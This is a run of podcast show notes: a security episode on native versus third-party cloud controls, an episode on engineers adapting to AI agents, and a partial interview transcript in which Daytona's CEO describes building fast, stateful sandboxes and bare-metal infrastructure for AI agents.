Guests: Gal Ordo, Co-founder & CPO @ Native Topics: In Episode 186, we debated 'Native vs. Third-Party' as a binary choice. Native seems to be a third-party vendor whose entire existence depends on the belief that cloud-native controls are superior. Does your platform validate the 'Cloud Provider' side of the debate (that their controls are enough), or does the fact that you exist prove the 'Third-Party' side (that native interfaces aren't enough)? A key argument against native controls is an AWS WAF and a Google Cloud Armor don't behave the same way. If your tool manages native controls across multi-cloud, how do you handle the 'lowest common denominator' problem? Do you dumb down the policy to fit all clouds, or do you expose the unique complexity of each one? GuardDuty and SCC produce similar but meaningfully different results. How do you abstract across that so an analyst or IR team isn't having to dig into the exact meaning of the different JSON fields in their output? We often say native tools are 'good enough' for 80% of use cases but lack the depth of specialized third-party vendors (like a dedicated CNAPP or DLP). By betting your company on orchestrating native controls, are you effectively betting that 'good enough' is the future of the market? What happens when a customer needs a feature that the CSP hasn't built yet? What fraction of your users are taking this from a "I'm 80% this one cloud, I need great coverage there and good enough elsewhere" vs "I'm truly multi-cloud" or even scarier "I have a workload that is active spanning clouds"? Do your customers push you towards helping with the kinds of SaaS platforms that SSPM vendors cover? If AWS and Google Cloud suddenly decided to make their native security UIs perfect and unified tomorrow, would your company cease to exist? Or is the complexity of the cloud strictly increasing, guaranteeing you job security forever? Related: Video version EP186 Cloud Security Tools: Trust the Cloud Provider or Go Third-Party? An Epic Debate, Anton vs Tim EP160 Don't Cloud Your Judgement: Security and Cloud Migration, Again! The Great Cloud Security Debate: CSP vs. Third-Party Security Tools native.security blog
If you're a software engineer right now, you likely feel like your world is changing overnight. We are writing half or less the amount of code that we wrote even a year ago, which represents a seismic, groundbreaking shift in our industry. For many of us, this career has always been engaging for deeply creative and intellectual reasons—and that excitement is still here. But our mental models of what it means to be a good engineer, and what it means to keep improving, have gone a little stale. In today's episode, I want to talk about a distinction that I believe will become the cornerstone mistake for seasoned engineers: confusing _practice_ with _adaptation_, and leaning on the wrong one at the worst possible moment. Two Surfaces Coming Into Contact: Picture your knowledge, skills, and toolset as one surface, and the actual state of the art as another. We've always known the surface area we could learn far exceeds what we can learn, which forces us to place bets on a learning strategy. What's changing is how fast that second surface is moving underneath us. Improvement by Practice vs. Improvement by Change: Practice is wielding what you've already adopted—smoothing out errors, building muscle memory, refining what you already know. Adaptation is fundamentally folding something new into your repertoire. Both are real forms of improvement, but they are not interchangeable. The Cornerstone Mistake for Senior Engineers: Later in your career, the time you spend adapting naturally goes down as you settle into practice. The biggest error I'm already watching engineers make is moving too quickly toward practice when the industry is loudly calling for adaptation instead. Inspect and Adapt—at the Right Altitude: Sprint retros were never really about getting marginally better at the thing you already do. The intent of "inspect and adapt" is to step up one level and examine the system. The trap is treating adaptation like a minor refinement—getting a little better at prompting—when it should mean asking whether you're thinking about prompting in the wrong way entirely. Question the Ratio, Not Just the Output: Real adaptation looks like asking whether you have the right mix of human and agent on a problem. Are you leaning on the agent for things you shouldn't, or failing to lean on it for the things you should? Have you genuinely thought about how sub-agents or an agent team are working the problem you're producing? A Spectrum, Not a Binary: On one end, you make micro-adjustments to your refinement process. On the other end of experimentation, you ask whether refinement—or even having engineers plan the work—is the right thing at all. The point isn't that practice is dead; it's that the industry is changing fast enough that the adaptive end of that spectrum deserves far more of your attention than it used to. Episode Homework: Take something you currently treat as a practice problem—"how do I refine tickets faster?"—and step up a level. Ask the adaptive version of the question instead: "Is refinement even the right thing anymore?"
Take the 2026 AI Engineering Survey and get >$2k in credits and AIE WF tickets!On the product side, everyone is getting Computer - Perplexity, Manus, Cursor, and so on. Meanwhile on the research side, agentic evals like TerminalBench and GDPVal are also assuming computer (Harbor). On both ends, the consolidating LLM OS stack has become a standard toolkit, and Daytona is one of a small set of AI Infra companies that are booming because of it.“The end of localhost” has been Ivan Burazin's obsession for more than a decade.Something that is all too familiar…Long before agents became the default way people talked about software development, Ivan was already chasing the idea that development should not depend on a fragile local machine. CodeAnywhere, one of the first browser-based IDEs, was an early attempt at that future: move the development environment into the cloud, make setup reproducible, and free developers from the endless “works on my machine” tax.The thesis was directionally right, but the market wasn't ready yet.However, agents changed that. They do not care about a laptop, desk setup, or favorite editor. They need a computer they can access through an API: something stateful enough to keep working, fast enough to spin up instantly, flexible enough to resize, isolated enough to be safe, and composable enough to run the messy real-world workflows that real software engineering actually requires.Daytona isn't just selling “sandboxes” in the narrow code-execution sense. It is the latest version of Ivan's original localhost thesis.In this episode, Daytona's CEO joins swyx to explain why AI agents need more than code execution boxes: they need composable computers, stateful sandboxes, instant startup, dynamic resources, and infrastructure that can survive workloads going from zero to 100,000 CPUs.We go deep on the new agent compute market: Daytona's hard pivot from human dev environments to AI sandboxes, the New Year's Eve MVP that customers begged for, why Daytona runs on bare metal with its own scheduler, how one customer runs almost 850,000 sandboxes a day, and why RL/eval workloads went from 0% to roughly 50% of usage in just months. Ivan also explains why agents need Windows and macOS machines, why CLI may matter more than MCP, why Kubernetes is painful for this workload, and why the future AI cloud may look more like Stripe than AWS.We discuss:* How Daytona grew out of CodeAnywhere, Shift, and the “end of localhost” thesis* Why Daytona pivoted from human dev environments to AI sandboxes* Why agents need composable computers instead of disposable code execution boxes* The New Year's Eve MVP that customers chased API keys for* Why Daytona chose bare metal, stateful snapshots, and its own scheduler* How Daytona spins up one sandbox in ~60ms and 50,000 sandboxes in ~75 seconds* Why Daytona's biggest customer runs ~850,000 sandboxes a day* How RL/eval workloads create zero-to-100,000 CPU spikes* Why RL workloads went from 0% to roughly 50% of Daytona usage* Why customers compare Daytona against EKS/GKS and say they're “never going back”* Why every AI agent may need a computer, including Windows and macOS environments* The Apple licensing constraints that make macOS sandboxes hard* Why CLI gives agents more power than MCP* How open source helps agents integrate Daytona* Why agent-generated PRs may break today's CI/CD assumptions* Why AI SaaS companies reselling tokens may face a cold shower* Why the AI cloud may look more like Stripe than AWSIvan Burazin* LinkedIn: https://www.linkedin.com/in/ivanburazin* X: https://x.com/ivanburazinDaytona* Website: https://www.daytona.io* X: https://x.com/daytonaioTimestamps* 00:00:00 Hook* 00:01:12 Introduction* 00:03:15 CodeAnywhere, Shift, and the end of localhost* 00:05:58 What Daytona is: composable computers for AI agents* 00:08:07 The pivot from dev environments to AI sandboxes* 00:10:17 The New Year's Eve MVP and customers begging for API keys* 00:12:56 Bare metal, stateful sandboxes, and Daytona's scheduler* 00:17:28 60ms startup, 50,000 sandboxes, and 850K daily runs* 00:21:53 Spiky RL/eval workloads and the new agent infra problem* 00:28:12 RL workloads, Kubernetes pain, and dynamic resizing* 00:33:31 Why every AI agent needs a computer* 00:38:48 macOS sandboxes and Apple's licensing problem* 00:44:28 Why CLI may matter more than MCP* 00:48:11 Open source, GitHub stars, and agent integration* 00:53:11 Git, CI/CD, and agent collaboration bottlenecks* 00:58:15 Founder life and building a 25-person infra company* 01:02:44 AI SaaS, token resale, and API-first business models* 01:06:10 GPU sandboxes, data centers, and compute growth* 01:09:48 Why the AI cloud may look more like Stripe than AWS* 01:11:26 Closing thoughtsTranscriptIntroduction: Daytona, CodeAnywhere, and the End of LocalhostSwyx [00:00:02]: Okay, we're in the studio with Ivan Burazin, CEO of Daytona. Welcome.Ivan [00:00:07]: Thanks for having me, man.Swyx [00:00:08]: Ivan, you and I go back.Ivan [00:00:10]: Way back.Swyx [00:00:11]: How I don't even know how, you found, did you reach out or, for Shift.Ivan [00:00:17]: I reached out to you. The reason was you - we were just - we were thinking about I was one of the co-founders of CodeAnywhere, the first browser-based IDE, and so we were thinking a long time of, localhost should die. And you had this article.Swyx [00:00:29]: End of localhost.Ivan [00:00:30]: Then I reached out to you because of that, and then we talked, and I was actually at a different job and learning about I was the head of, developer experience, and you were quite well-versed in that, and I actually reached out to you, among other people, how do we go about that? What are the key things and whatnot at this point in time? And you were nice enough to take the call, and I remember I was late on your call with you.Swyx [00:00:51]: I don't remember.Ivan [00:00:52]: I remember because I was with my then I'm thinking of a girlfriend or wife at that point in time, I'm not sure. It's the same person, so that's great, and I was late ‘cause we were, in, Italy on, vacation, and then I was late for something. I felt so bad, and you were so nice to be, good about.Swyx [00:01:10]: The reason I'm nice is because I'm also late to other people, so it's like, who's, who's without sin here, yeah, so I have to, for those who don't know, InfoBip Shift, there's this whole thing that, you did in the past, and, and that was basically one of the inspirations for me starting AI Engineer, which is like, I have to thank you for giving me that push to be like, “Oh, you can, you can build and sell conferences?”Ivan [00:01:34]: I remember you asked you asked me at the beginning to give me advisory shares, and I was so focused on what we were doing, I said no, and I should've took the advisory shares. So I'm sorry, dude. But anyway.Swyx [00:01:43]: We're not, we're not venture backed.Ivan [00:01:44]: No, it doesn't matter.Swyx [00:01:45]: It's Yeah, anyway, so I think what's impressive about you is that CodeAnywhere is the thing that you've been trying to build, and, you kind of put it on hold and then came back after InfoBip. Just give us the story, do you - the story and the origin story, going into Daytona.From CodeAnywhere and Shift to DaytonaIvan [00:02:05]: Sure. Like, really way back, me and my co-founder have been together. I say this, I've said this multiple times, it's like we were married and divorced and married. Some people actually ask me is my co-founder my partner. they thought it literally. It's not literally, but we have done multiple companies together, and to your point, we had this shift where we went from the CodeAnywhere to the conference called Shift, and then back to, Daytona. We originally started stacking servers, doing like virtualization in the early 2000s and, routers and doing basically all these things, at a foundational level, and that was a services company which we sold to focus on what my co-founder actually invented, which was the very first browser-based IDE, right, I say the first. Before us was actually Heroku. They did it for a very short time until they became Heroku. But outside of them, we were the only one, and it was called.Swyx [00:02:55]: There was Cloud9.Ivan [00:02:57]: Cloud9 came out slightly after us. There was Replit, which came out when we stopped doing it, Replit came out, and they have been successful since then, which is great. There was Nitrous.io. There was quite a few that existed at the time, but it was like too early. But the interesting part is that we, at that point in time, because there was no VS Code, there was no Kubernetes, and Docker had just started when we Or I'm not sure if it was even public at that point in time. And so we had to build everything to the whole stack ourselves and that was the key learning that we brought into and that we've been using in Daytona today. So it was super early. There's about 3 million people used CodeAnywhere. It was slightly, it was angel-backed more than venture-backed. We ended up paying everyone back because it didn't have that sort of scale. But, three years ago, we started something similar with Daytona, which is not what we are today, but it was automating dev environments for human engineers, the basically the underlying stack of CodeAnywhere. And then we did a hard pivot last January to sandboxes. And so here we are.Swyx [00:04:01]: Historic pivot, yeah, and, it's one of those things where, I had independently invested in CodeAnywhere, but also in E2B, and then both of you pivoted into the same thing, and I'm like, “F**k.”Ivan [00:04:12]: You invested, you invested in Daytona. You invested in Daytona. But you were the first If we had not got your check, we wouldn't have done it.Swyx [00:04:18]: No way.Ivan [00:04:19]: No, it was like, “We have to get him on board first,” and you were that kicker that we, that got us off the ground.Swyx [00:04:23]: No, because you were putting me on your pitch deck, man. I was like, “Man, this is like a good trip if I don't invest.”Ivan [00:04:29]: That's because it was your quote. It's like we.Swyx [00:04:30]: Yeah. It's the end of localhost.Ivan [00:04:31]: Did a bunch of research about end of localhost and who was interested in that,.Swyx [00:04:34]: No, that's like, I put, I wrote that blog post, and every single company in that field reached out to me, and then every VC who was receiving those pitches then also had to call me and, talk it, talk through it with me.Ivan [00:04:47]: It's finally happening though.Swyx [00:04:48]: It was really super interesting.Ivan [00:04:48]: It's finally happening.Swyx [00:04:49]: It's finally happening.Ivan [00:04:49]: Yeah, it's finally.Swyx [00:04:49]: It's finally happening, with maybe sort of non-human users. Yeah, so what is Daytona today? Let's get like a quick description. I'm wearing the shirt.What Daytona Is Today: Composable Computers for AI AgentsIvan [00:04:58]: You're wearing the shirt. Yes,.Swyx [00:04:59]: It says, I think your branding is very good. Like, it's very consistent. It runs AI code. Like, it cannot be simpler.Ivan [00:05:05]: Exactly, but we're gonna probably have to change that.Swyx [00:05:07]: Oh, s**t.Ivan [00:05:07]: It's also a subset of what we do. Unfortunately, we really love this, Run AI Code is super simple. People interpret it different ways. I think we've given out 5,000, 6,000 of these shirts. People wear them with pride because it doesn't really market about us.Swyx [00:05:21]: Yeah, Daytona's on the back.Ivan [00:05:22]: It markets the back. It markets to the person itself, so I think we did a really good job on that one. But it is also a subset of what we do, because people, when they think about Run AI Code, they just think about these small, let's call it isolates, code execution boxes that, you send some code, you get an output. Whereas what Daytona is today is essentially composable computers for AI agents. It is, the market calls them sandboxes which can be misleading.Swyx [00:05:44]: All these things. All these things on.Ivan [00:05:45]: Yeah, exactly, ‘cause it can be misleading ‘cause people usually think about sandboxes as a demo or a test environment versus a production-grade environment. But what Daytona does, if you think of the laptop that you have in front of you or the computer that's over there, or, my wife is an architect, so she has like a Windows with a 3D graphics card inside to do 3D rendering. Like, as humans, we have different computers or different compositions of computers. And our belief is strongly that agents today and going forward will need all these different compositions of computers to do different types of tasks. And so we offer that basically through an API.Swyx [00:06:19]: Yeah, to give people - I'm trying to sort of front-load all the aha moments or the wow moments so that people can, stay engaged and click like and subscribe. the market is exploding, right? Like, you have been reporting 74% month-on-month growth, and it also, it's just been growing for a while. Like, it's been going like this. And every single - It's not just you guys. It's every single.Ivan [00:06:41]: Everyone, yeah.Swyx [00:06:42]: Sort of, compute provider. I don't know if you agree with me saying compute provider or not.Ivan [00:06:48]: It's fine.Swyx [00:06:48]: Yeah. So like organically PLG-driven growth, but also enterprise is doing super well, I think I wanna rewind to January of last year when you did the pivot. Like, so you obviously called this market early, and you were positioned for it, and you are now one of the market leaders. But what was the insight that made you do the pivot?The Pivot: From Human Dev Environments to Agent SandboxesIvan [00:07:06]: The insight that made us do this pivot is the quarter before that, so end of 2024, when we had - Basically, we did a demo with - I don't I think we discussed this as well, Devin was not public. You actually gave me access to Devin at that time. So Devin.Swyx [00:07:25]: I did?Ivan [00:07:26]: Yeah, you gave me access.Swyx [00:07:26]: I don't think I was supposed.Ivan [00:07:27]: Yeah, exactly.Swyx [00:07:28]: Yeah, I.Ivan [00:07:28]: So it doesn't matter. You.Swyx [00:07:29]: Yeah. I gave like three friends access.Ivan [00:07:31]: Yeah, or it was a call and you showed it to me. It doesn't matter. but OpenDevin was available, which is now called OpenHands. And so we're like, “Oh, this seems to be a thing. This is not public. Let's take our for human automation of dev environments and take, OpenDevin and launch that as a SaaS.” And we did that. Not very many people signed up and used it, but a lot of people reached out that were building agents, and they were like, “Hey, my agent needs a compute sandbox runtime,” whatever you wanna call it. I forgot what it was called at that point. And then we were like, “Oh, amazing. This is a new market. Here is our infrastructure. Here's our product, and go.” And what we found really fast, soon, was that people did not like what we had built. It didn't work. And I remember talking to people at the beginning when we're doing this, the sandbox we're building for agents. People were like, “Oh, why is it different? It's the same thing. We have like EC2, we have VMs, we have all these things.” But we saw that everyone we gave it to, it was like 20, 30 people, they all said, “No.” Like, “This is not what we need. This sort of breaks.” And basically, me and my co-founder not knowing a lot about - ‘cause we're infra people. We're not AI people. So I basically took it upon myself to like watch every single podcast that exists, including all of, all of these and all that, and sort of get up to date, read all the blogs, like get, understand what's going on.Swyx [00:08:45]: Do you wanna shout out who else was useful, just in case people are also looking.Ivan [00:08:49]: Generally we -, I looked at There's a few of podcast, different segments and different types. So there's you guys, No Priors, Bill Gurley's was great while.Swyx [00:09:04]: VG2, yeah.Ivan [00:09:05]: Yeah, while it was around. So there's a few. 20VC is interesting from a different dynamic, and some are different dynamic. But there was, also Red Points.Swyx [00:09:14]: We're not really about the compute market.Ivan [00:09:15]: It was also already - Sorry?Swyx [00:09:16]: You're, you want - You're looking at the agent infra market.Ivan [00:09:19]: I was looking at the agent market and the AI market in general and sort of understanding who are the players, what the perception, and how that goes. And like obviously you complement this with like going to conferences, going to events, going to meetups, reading white papers, like doing all the things that you have to do to understand what's happening. And so when we figured, when we sort of had an idea of what we had to build, literally over the New Year's Eve, literally on New Year's Eve, I half vibe coded the first MVP, first minimal viable product of what Daytona is today. And I went to sleep at like 3:00 AM or something like that. I was doing - I just put my like baby daughter and wife to sleep and, Happy New Year's, and go back to just, doing this. And I sent it to my co-founder, my CTO, and he saw it in the morning. He's like, “This is absolute garbage.” “Do not show this to anybody at all, but the idea is good.” And so he took two weeks, and he rebuilt it.Swyx [00:10:09]: Did it like look like that? Listen, I - It was rough idea.Ivan [00:10:12]: Oh, not even, not even close. Like it was it was way worse. But it was like a very - It was a simplistic view of what it should be. Like, it worked, but it was not ideal. And so he went, we went down the whole, which is his job as CTO, to go, and he came back with this version. We then called all the people that had said like, “This is garbage,” a quarter ago. And we set up these calls, and we gave it to - We just demoed it to everyone. And all the calls went long, every single one. They were 15-minute calls, and they all went to like 25, 30 minutes or whatnot. And everyone said, “We need, we want access.” There was no login, just an API key, ‘cause it was just a beta or an alpha. And they said, “Oh, we want access.” And we're like, “Sure, yeah. Okay, thank you very much.” But after like the next day, if we'd not send it, every single one, like every call that we did, everyone came back, “Where is my API key?” Like everyone wanted it. We're like, “S**t.” Like this is it. Like I've never felt So one, the understanding to your point was like most people thought it was the same infrastructure for humans and agents. We understood a quarter ago it's not. We just didn't know what was the right primitive. And then when we came, and we can talk about what that is, and we gave it to these people, I've never seen, I've never experienced - I've done multiple companies in my life. I've never experienced this, that people literally call you if you do not give them access. Like they want access right now. And so it's like, okay, they don't want this. the thing that they want doesn't seem to exist, or they have not found it, and they really want what we want. And then when we understood that we're onto something, and then when you think about the size of the market, like the market for human engineers and enterprise is a very large market, so think GitLab or whatnot. But the market for every single agent that will exist ever in the future is just like, what is that market? How big is that? And we're like, “We are all in on this.” And so that is where we made sort of the cut between the old product and the new one.Bare Metal, Stateful Sandboxes, and the Lambda + EC2 ModelSwyx [00:12:02]: Yeah. But it wasn't composable at the time?Ivan [00:12:05]: It was very - It was basically just a Linux box that you could change, that you could define number of CPUs, disk, and RAM. Like that is what you could do, but you couldn't have multiple operating systems, you couldn't resize it on the fly, you couldn't add a GPU, you couldn't do like all the things. It was just the, just the first sort of variation of that, yeah.Swyx [00:12:22]: Was it bare metal from the start?Ivan [00:12:24]: It was bare metal from the start. And so the interesting thing that we thought about right away, so our.Swyx [00:12:29]: Which, give people the background, what is the normal path?Ivan [00:12:32]: Yeah, so, basically most providers run this on top of VMs. And also.Swyx [00:12:37]: Firecracker.Ivan [00:12:38]: Yeah, they run on Firecracker and VM. And so we also fire - We can get - We have multiple isolation layers and we can do that. But the common way to do it is that they, one, that the state of the machine, or the hard disk is not part of the sandbox itself. And the other thing is they're not meant to last forever. So most of them are preemptible, like they can There's a time that they can live. And so our thought was when we were going into this is, agents will be like humans in the sense of you don't want your laptop to be shut down until you're done with work. Like, and you want to close the lid and open the lid, it's the same state. So you - Agents would want that, like the pause and come back. They want those two things. But also agents really want speed, right? Can they get it? So when we thought about it's like we need something insanely fast, how to make it fast, how to make it long-running, and stateful. And so those two things, it's like combining a Lambda and an EC2, right? Those two things together. And so we didn't have an idea how others did it, ‘cause we didn't know too that there was a market around this. It was more like, okay, this is what we need, what they need. And we looked at Kubernetes, it wasn't wasn't good enough for that. We looked at Nomad, it didn't enable that. And so our history in rewriting our own scheduler at CodeAnywhere is basically what my CTO came up with. Like, he's like, “Oh, the learnings from there,” and he brought it. And the funny thing is, our third co-founder, when he saw it, he's like, “Dude, what is this? This is like 2008.” Like, we went back in time, and he's like, “Exactly.” And so the reason why Daytona is like super fast, and you see this on benchmarks, is we essentially, we run on bare metal. We have our own scheduler, we use the underlying, disk, CPU, and RAM of the underlying machine, which means your IOPS are insanely fast because there's no, there's no network between an EBS or something like that. But also the snapshot, the point in time, the templates, are also preloaded on the bare metal machines. So when you fire off a sandbox from a template or a snapshot, you're essentially directed to the bare metal machine where that snapshot is based on that NVMe drive, and then it literally just turns on that machine, and it's local. There's no network latency, anything on there. And so that is sort of the specificities that we, when we're thinking from first principles, what a computer would look like for an agent, that is what we came up with, and that's what we created.Benchmarks, 60ms Startup, and 50,000 SandboxesSwyx [00:15:02]: Yeah. I should maybe, I don't know if you endorse this, but there's someone that does compute SDK, you guys do very well on there, with like the TTI, right? I. is this a, is this a is this a relevant benchmark for you guys? I don't know.Ivan [00:15:16]: I don't know, and it changes every day. So today RKL is.Swyx [00:15:18]: I don't know what RKL is. Never heard of it.Ivan [00:15:20]: Yeah. RK, yeah, so it is there.Swyx [00:15:22]: You are, at least a third of the next tier of performance, and then, there's a lot of other better-known names that are very slow to start.Ivan [00:15:31]: Yeah. We've been the number one by far for a long time, and now there's different, there's different definitions also of sandboxes, different isolation patterns, different other things. So RKL runs it literally on the S3, the data, so it's very different, and they spin up a sandbox, spin up a container for that, so it's a different type of thing. So the definition of a sandbox is something that we can all, we all need to get along with. But yeah, we're insanely fast on getting these things, up and running. And so you can see even there that it's a zero point 0.10 to 0.11, so.Swyx [00:16:03]: Close enough. Yeah. what else do you need, right?Ivan [00:16:05]: Yeah. So the benchmarks itself, so, in this, in I don't think the benchmarks equate to market ownership or revenue or anything like that. and I've seen this with multiple benchmarks, not just in sandboxes, but in general benchmarks around.Swyx [00:16:20]: It's table stakes. It's just like.Ivan [00:16:21]: Exactly. But it doesn't hurt.Swyx [00:16:22]: Just roughly check.Ivan [00:16:22]: Like you definitely have to be up there and you have to be competing so that people know that, oh, this is definitely one of the top. Because this is only one dimension of what customers look for. There's other things like how many can you spin up consecutively? There's a feature set, there's support, there's like all different things that people look at, but you definitely have to be there, on the benchmarks.Swyx [00:16:40]: How many people do people spin up consecutively?Ivan [00:16:43]: So we have.Swyx [00:16:43]: Or concurrently, is the Concurrency, right?Ivan [00:16:45]: There's three metrics that we look at. And so one is like time to spin up one, and so our time to spin up one is 60 milliseconds with network latency. So request, spin up, reply, 60, the whole thing, 60 milliseconds. That is one. But if you wanna spin up 50,000 at once, we are now at about 75 seconds. So it takes about 75 seconds to spin up concurrently 50,000. Some others, there's public data around this, like take 2,000 seconds, which is 30 minutes. Like there's different variations of that. And then there is the so it is speed of one, speed of like multiple, and then how many can you consistently have up and running. And so we basically have right now no limit to how much we can add because we basically own our own metal. But the biggest customer of ours does like about 850,000 every single day is sort of where they're, where they're just shy of a million every single day that they're running, we do have a request for half a million concurrent, which is literally half a million CPUs somewhere running. So that's an interesting.Swyx [00:17:44]: They pay by like vCPU seconds.Ivan [00:17:47]: By seconds, yeah.Swyx [00:17:47]: Or whatever. Yeah. Okay, and so and then, and the other thing is, the sleeping and the resuming, ‘cause it's all the stateful resumption of all these things, how, what kind of workload are people putting through this, right? Like how is it Do we measure by gigabytes in memory, gigabytes in storage? I don't In like network attached storage. I, what are the costly ones of, out of all these features?Workload Economics: CPU, RAM, Network, and StorageIvan [00:18:15]: The most expensive thing are CPU.Swyx [00:18:18]: Okay. Yeah, of course.Ivan [00:18:18]: The second one, yeah Then it's RAM, then it's disk. We actually don't charge.Swyx [00:18:22]: Which is snapshotting, right?Ivan [00:18:23]: No, it's actually the, snapshotting's part of it, but basically the size of your hard disk, of your machine. So do you have 10 gigabytes, do you have 20, do you have 50, do you have whatever? And then the transference of that. Right now, currently we don't charge for, network at all at Polychron.Swyx [00:18:37]: Oh, you gotta, yeah, you gotta fix.Ivan [00:18:38]: Yeah. It is very much a it's a larger and larger part of our bill, so we're working around, that part there. Obviously, that is the least, expensive, so the hard disk is the least expensive, so it's basically CPU, RAM, for us network, ‘cause we don't charge the customer, and then hard disk, is how it's split up. But there's also different types of workloads, so we basically split it up into two types of workloads in Daytona. One is what we call background agents or long-running agents. and the other is, basically RLs and evals, which I put sort of together. And so they have very different patterns of usage, and if you look at the usage of a background And I'll just name names of companies, not specifically.Background Agents vs. RL/Evals: Two Usage ShapesSwyx [00:19:21]: Yeah, open, all hands.Ivan [00:19:23]: Yeah. So like a background agent's a Cognition, a Lovable, a like all these things are Harvey. These are all long-running, background agents. And so if you look at their usage patterns, their usage patterns are similar to human, which is like follow the sun. Basically, the usage patterns of that is like noon is probably the highest, and the midnight is the lowest, and then weekends are lower. weekday is higher.Swyx [00:19:42]: Yeah, that's a fun question. How global is it? Is it very US-centric or?Ivan [00:19:46]: The US is a large part, but we have currently, we have Asia, Europe, and the US regions.Swyx [00:19:52]: So it's quite global.Ivan [00:19:53]: Yeah, it's quite global. We have it all over. It's interesting that our I talked to you a bit about this. Our number one city by user.Swyx [00:20:01]: Hmm.Ivan [00:20:02]: Is Singapore.Swyx [00:20:04]: Oh, wow. Amazing.Ivan [00:20:05]: Which is an interesting one, right? Not by revenue, just by just like by individual head count.Swyx [00:20:09]: Really?Ivan [00:20:09]: Just like an interesting thing.Swyx [00:20:10]: Singapore is, Singapore is weirdly high in the adoption charts of AI for the population. It's like an, seven, eight million population. And it's like keeps showing up.Ivan [00:20:20]: No, it's quite interesting. We were quite shocked, and I was like, “Oh, this is interesting.” And also one that's up there.Swyx [00:20:24]: There's a reason I'm doing AI using Singapore. it's because I'm from there.Ivan [00:20:27]: We're there. We're gonna, we're gonna be there as well. and it's interesting that Japan is in the top or like Tokyo's in the top, which is in all the tech cycles it has never been. It has never been, so it's quite interesting that they're.Swyx [00:20:39]: I think the Japanese just love AI. Yeah. It's that, and then it's Brazil. That's it.Ivan [00:20:44]: Brazil has always been in.Swyx [00:20:45]: I think.Ivan [00:20:46]: Even when I look, if you look at like GitHub's data and ask historically with CodeAnywhere, it was always like US, Western Europe, and then you'd have like India, Brazil, China, like that would be there. But like Singapore was not in, specifically Japan was never in sort of that top, that top.Swyx [00:21:01]: Yeah. Weird pockets.Ivan [00:21:01]: Weird. Yeah, so it's very global.Swyx [00:21:02]: Okay, so actually that, but that's helps you to distribute your load through, all time?Ivan [00:21:08]: The interesting thing is like we have those kind of loads, but if you look at the researcher loads, they're quite different. So what they are is like if you give them concurrency of 10,000 or 50,000 or 100,000 CPUs at ARMb, when they fire off a run, it's just 100%. And then it just runs, and then it stops. So it's very, the usage pattern is squares basically, right? And it's also not follow the sun, because people will fire it off at midnight before they go to sleep but then wake up and so it's very unpredictable, so you don't know where that is. So the shapes of the usage are quite different than we have had before. And also what's interesting is when it's sort of a follow the sun, even if you have a high growth company, you can sort of predict your usage patterns and have enough capacity for that, because it's sort of, it grows in a, in a way you can project. When you have companies doing sort of like evals and RL, they're super spiky. So they're gonna come in, it's like, “We're gonna use nothing, then can we have 100,000?” Right? And then go back down. And then 100,000, go back down. So it's very different, right? And.Swyx [00:22:09]: Do you want to lock them into commits so.Ivan [00:22:11]: Yeah, we do.Swyx [00:22:12]: Yeah, okay.Ivan [00:22:12]: We so we have to lock them into some sort of commits to have that capacity, because we have to have, basically we have to have the capacity for peak. Right? And so right now, Daytona's mean utilization is 15%, 1-5.Swyx [00:22:25]: Oh my God.Ivan [00:22:26]: So it's very low.Swyx [00:22:27]: Because it's very spiky.Ivan [00:22:27]: It's very spiky, but we get up to 90%. so we have these things. And so what we're, what we're looking at right now as a company is similar to Cloudflare where you can like geo move things around, but that works really well for basically the background agent where it's follow the sun. But this, it's not. Like it's a very different shape. Obviously with scale you figure these things out, but that's an interesting new problem that we have, as a compute provider in the agent space. And when we were doing the conference recently, and so we talked to like Nikita from Neon and.Swyx [00:22:57]: I should bring it up.Ivan [00:22:58]: Parag from Parallel and whatnot, everyone has the same problem. Whereas the usage is super spiky, and this is something that has not happened before, that you have these types of like it was always, it the amplitudes were not this high, right? So it's quite interesting use case and problem solve.Compute Conference and Spiky Agent InfrastructureSwyx [00:23:12]: Yeah, I don't know if we're gonna bring this up again, but let's just talk about the conference, you had like 1,000 something people at the Warriors game, at the Sorry, where is it? What's.Ivan [00:23:22]: Chase Center.Swyx [00:23:23]: Chase Center.Ivan [00:23:23]: Chase Center.Swyx [00:23:24]: I went. It was, it was very impressive. Obviously, you can, how to throw a conference, what did you learn? you put, you pulled together all these impressive names.Ivan [00:23:33]: What I.Swyx [00:23:34]: What were you looking for?Ivan [00:23:35]: My thesis behind the Compute Conference was let's bring together people that are building infrastructure for AI agents. Because when I think of what we're building, it is the agent is the primary user, what are the ergonomics and usage patterns of agents, and so we can do that. And what I found, this was a theory, it wasn't proven, is that we all have these problems, as I touched onto. And I was, as I was talking on stage, it was like we all have the same underlying infra problems, which is this spiky workloads, unpredictable workloads that we've never had before, in human, compute or human infrastructure. And it's, again, it's the same when I was talking to Parag or when I was talking.Swyx [00:24:20]: Lynn. Nikita.Ivan [00:24:21]: Lynn, Nikita. Lynn especially, I was talking to her the other day as well. Like the It is a very interesting type of problem to solve because I can touch on Cloudflare because there's a lot of like talk about that recently as to how they solve that, which is they have a bunch of geos, and basically, as users work in different places, and depending on your tier, they can move you around the geos. And so that how, that's how they get the higher utilization. But you can sort of predict these, and it's If it's something in You'll rarely get a spike that is 10 orders of magnitude. Like you'll get a like let's say one of your customers has some like an exponential curve. What is that to I'm using Cloudflare as an example. 10%, 20%, whatever it is. I don't, I don't have this data, I'm just assessing. It's surely not 10x, right? It's surely not something there. And so how do you go out and solve this problem? And we're all solving this in different ways. So we have.Swyx [00:25:11]: She also has the same thing.Ivan [00:25:12]: Yeah, I know specifically that like Neon had that issue as well. Like how are we solving these spiky loads and things like that ‘cause we talked about it. And so the interesting thing for me to actually internalize was, yes, everyone that's building for agents first is going through this, and we're all solving similar problems, which is quite.Swyx [00:25:28]: Let me let me double-click on this. Okay. So for example, Neon, I happen to know that they're very sort of S3 oriented, right? so they're just like fully bet on S3. And you get to benefit from S3's distribution and infrastructure. So I would imagine that Neon doesn't have to care, whereas Lynn maybe has to care a bit more because obviously she's doing GPU inference. And, for listeners, we did an episode with her, one and a half years ago. And you have to care. But like, right?Ivan [00:25:54]: Parag cares for sure, and Nikita.Swyx [00:25:58]: And Parag is C of, Parallel.Ivan [00:25:59]: Parallel, yeah.Swyx [00:26:00]: Former CTO of Twitter.Ivan [00:26:01]: Twitter, yeah.Swyx [00:26:02]: They are the search.Ivan [00:26:03]: Yeah, they're search, yeah.Swyx [00:26:03]: I You and I know but the listeners don't know.Ivan [00:26:08]: Yeah, we can put it down in the screen, and so ‘cause we, when we were talking.Swyx [00:26:11]: I'll put it up on the, on the screen.Ivan [00:26:12]: Yeah, right.Swyx [00:26:12]: People can look it up if they need.Ivan [00:26:14]: Look it up. And, yes, but they still have CPU and RAM, allocation that you have to have up and running. And so 